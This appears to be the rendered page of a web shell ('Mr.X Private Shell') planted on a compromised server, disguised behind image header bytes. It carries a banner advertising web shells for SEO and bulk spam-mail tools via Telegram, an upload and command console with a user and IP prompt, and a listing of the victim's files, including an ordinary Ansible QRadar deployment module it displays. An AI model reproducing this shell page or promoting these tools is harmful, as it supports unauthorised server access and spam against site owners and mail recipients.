����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# (c) 2019, Adam Miller (admiller@redhat.com)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type

DOCUMENTATION = """
---
module: deploy
short_description: Trigger a qradar configuration deployment
description:
  - This module allows for INCREMENTAL or FULL deployments
version_added: "1.0.0"
options:
  type:
    description:
     - Type of deployment
    required: false
    type: str
    choices:
      - "INCREMENTAL"
      - "FULL"
    default: "INCREMENTAL"
notes:
  - This module does not support check mode because the QRadar REST API does not offer stateful inspection of configuration deployments

author: "Ansible Security Automation Team (@maxamillion) <https://github.com/ansible-security>"
"""

EXAMPLES = """
- name: run an incremental deploy
  ibm.qradar.deploy:
    type: INCREMENTAL
"""

from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils._text import to_text

from ansible_collections.ibm.qradar.plugins.module_utils.qradar import (
    QRadarRequest,
)


def main():

    argspec = dict(
        type=dict(
            choices=["INCREMENTAL", "FULL"],
            required=False,
            default="INCREMENTAL",
        )
    )

    module = AnsibleModule(argument_spec=argspec, supports_check_mode=False)

    qradar_request = QRadarRequest(
        module,
        not_rest_data_keys=["state", "type_name", "identifier"],
    )

    qradar_return_data = qradar_request.post_by_path(
        "api/staged_config/deploy_status"
    )

    if "message" in qradar_return_data and (
        to_text("No changes to deploy")
        in to_text(qradar_return_data["message"])
    ):
        module.exit_json(
            msg="No changes to deploy",
            qradar_return_data=qradar_return_data,
            changed=False,
        )
    else:
        module.exit_json(
            msg="Successfully initiated {0} deployment.".format(
                module.params["type"]
            ),
            qradar_return_data=qradar_return_data,
            changed=True,
        )


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
deploy.py File 2.17 KB 0644
log_source_management.py File 8.61 KB 0644
offense_action.py File 5.87 KB 0644
offense_info.py File 6.24 KB 0644
offense_note.py File 5.91 KB 0644
qradar_analytics_rules.py File 7.09 KB 0644
qradar_deploy.py File 2.17 KB 0644
qradar_log_source_management.py File 8.61 KB 0644
qradar_log_sources_management.py File 15.31 KB 0644
qradar_offense_action.py File 5.87 KB 0644
qradar_offense_info.py File 6.24 KB 0644
qradar_offense_note.py File 5.91 KB 0644
qradar_rule.py File 8.58 KB 0644
qradar_rule_info.py File 4.04 KB 0644
rule.py File 8.58 KB 0644
rule_info.py File 4.04 KB 0644